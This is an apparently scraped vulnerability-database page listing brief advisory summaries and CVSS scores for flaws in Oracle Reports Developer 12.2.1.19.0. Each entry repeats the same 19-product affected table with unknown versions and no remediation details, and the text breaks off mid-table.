vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows low-privileged attackers with HTTP network access to potentially compromise confidentiality, integrity, and availability, with a CVSS score of 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with SMTP network access to perform unauthorized data modifications and cause partial denial of service, affecting product integrity and availability.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to fully compromise the system via UDP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to potentially compromise system confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6, affecting multiple Oracle products.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated network attackers to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6, potentially affecting additional Oracle products.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
